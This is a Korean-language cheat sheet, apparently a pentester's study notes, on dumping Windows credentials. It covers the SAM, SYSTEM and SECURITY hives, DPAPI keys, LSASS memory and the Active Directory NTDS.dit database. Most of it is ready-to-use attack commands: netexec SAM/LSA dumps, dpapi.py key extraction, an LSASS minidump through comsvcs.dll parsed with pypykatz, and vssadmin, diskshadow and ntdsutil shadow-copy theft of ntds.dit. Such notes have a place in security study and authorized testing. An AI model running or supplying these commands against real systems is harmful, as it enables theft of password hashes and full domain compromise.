Registry hive
| Hive | Description |
|---|---|
| HKLM\SAM | 로컬 사용자 계정의 비밀번호 해시 저장 |
| HKLM\SYSTEM | SAM 데이터베이스 암호화에 사용되는 시스템 부팅 키 저장 |
| HKLM\SECURITY | LSA에서 사용하는 정보들 저장 - 캐시된 도메인 자격증명 (DCC2), - 평문 패스워드, - DPAPI키 등.. |
reg save로 덤프 (SeBackupPrivilege 필요)- 파일들은 모두
C:\Windows\System32\config\*에 저장C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITY
SECURITY에 저장하는DCC2(캐시된 도메인 자격증명)해시는, PTH 공격에 활용이 불가하며,PBKDF2알고리즘으로 해시되어 있다(hashcat 모드 2100)
netexec dump:
nxc smb $IP -u $USER -p $PASS --sam
nxc smb $IP -u $USER -p $PASS --lsaDPAPI
# get masterkey (0x....)
dpapi.py masterkey -file <UUID_KeyFile> -sid <UserSID> -password <User_Password>
# extract credentials
dpapi.py credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key '0x1b...1fd'LSASS
최초 로그인시 LSASS의 역할:
- 로컬 메모리에 자격 증명 캐시
- access token 생성
- 보안 정책 시행
- Windows security log 기록
LSASS Dump
- LSASS.exe의 PID 확인
Get-Process lsass
ps
tasklist /svc- Dump 파일 생성 (powershell, comsvcs.dll 활용)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump $PID C:\windows\tasks\lsass.dmp fullC:\windows\tasks\lsass.dmp생성
- .dump파일에서 해시 추출 (pypykatz 사용)
pypykatz lsa minidump /tmp/lsass.dmpNTDS
C:\Windows\NTDS\ntds.dit에 저장- Active Directory 환경에서 도메인 계정 인증에 사용되는 일종의 데이터베이스.
NTDS dump
#1. vssadmin 사용 방식
vssadmin CREATE SHADOW /For=C:
...
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\Windows\Tasks\NTDS.dit#2. diskshadow 사용 방식
# backup.txt
set verbose on
set metadata C:\Windows\Tasks\test.cab
set context persistent
add volume C: alias cdrive
create
expose %cdrive% E: 볼륨 shadow 생성 및 ntds 복사
diskshadow /s ./backup.txt
robocopy /b E:\Windows\ntds .#3. nxc 사용하여 원격으로 진행 (VSS 사용)
nxc smb $IP -u Administrator -p $PASS -M ntdsutil